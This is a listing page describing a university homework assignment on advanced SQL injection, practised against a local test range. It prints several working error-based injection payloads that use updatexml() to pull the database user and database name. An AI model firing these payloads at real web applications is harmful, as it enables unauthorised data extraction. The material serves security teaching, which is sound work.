"山西大学网络攻防第六次作业:SQL注入进阶实战练习"
需积分: 13 190 浏览量
更新于2023-12-20
1
收藏 2.92MB DOCX 举报
SXU-网络攻防第六次作业-sql注入进阶
山西大学网络攻防第六次作业——sql注入进阶
在本次网络攻防作业中,学生们将进行sql注入的进阶练习,包括报错注入、时间注入、堆叠注入以及宽字节注入。这四种注入技术将在test靶场的http://localhost/test/sql/路径下进行练习。学生们需要按破解步骤进行,至少做到爆表名这一步,并且需要保留每次攻击的输入和执行结果的截图。
首先,在报错注入测试网址http://localhost/test/sql/error.php/1中,学生们确定了可报错注入的地址,并进行了以下步骤:
1. 确定可报错注入地址
通过输入?username=aaa'进行测试,并得到结果;
2. 利用updatexml()获取user()
在地址栏输入?username=aaa' and updatexml(1,concat('~',(select user()),'~'),1) #或?username=aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) #进行测试,并得到结果;
3. 利用updatexml()获取database()
通过在地址栏输入?username=aaa' and updatexml(1,concat('~',(select(database())),'~'),1)#或?username=aaa' and updatexml(1,concat(0x7e,(select(database())),0x7e),1)#进行测试,并得到结果;
4. 利用报错注入获取数据库名
在地址栏输入?username=aaa' and updatexml(1,con进行测试,获取结果。
这些步骤将有助于学生们深入理解不同类型的sql注入技术,并且通过实际操作加深他们对攻击与防御的理解。通过完成该作业,学生们将提升他们的网络安全知识和技能,为今后从事相关领域的工作做好准备。
239 浏览量
207 浏览量
241 浏览量
191 浏览量
196 浏览量
339 浏览量
木子一个Lee
- 粉丝: 6880
- 资源: 12
最新资源
- Perl 二十四小时搞定
- 简明 Python 教程 《a byte of python》中译本
- 3G技术普及手册(华为内部版)
- 广告公司固定管理系统-需求分析
- 相当全面的J2EE面试题!!!
- rails_plugins_presentation.pdf
- SOA 案例研究:不同应用程序的集成组织
- ajax--dwr测试
- Servlet_JSP
- java struts 教程
- Struts 中文简介
- 五星_中兴《GSM移动通信基本知识》_
- 数据库第四版答案 大学教材课后答案
- 正则表达式30分钟入门教程
- 三级C语言上机南开100题(2009年终结修订word版).doc
- 基于IBM DS4500磁盘阵列的配置实验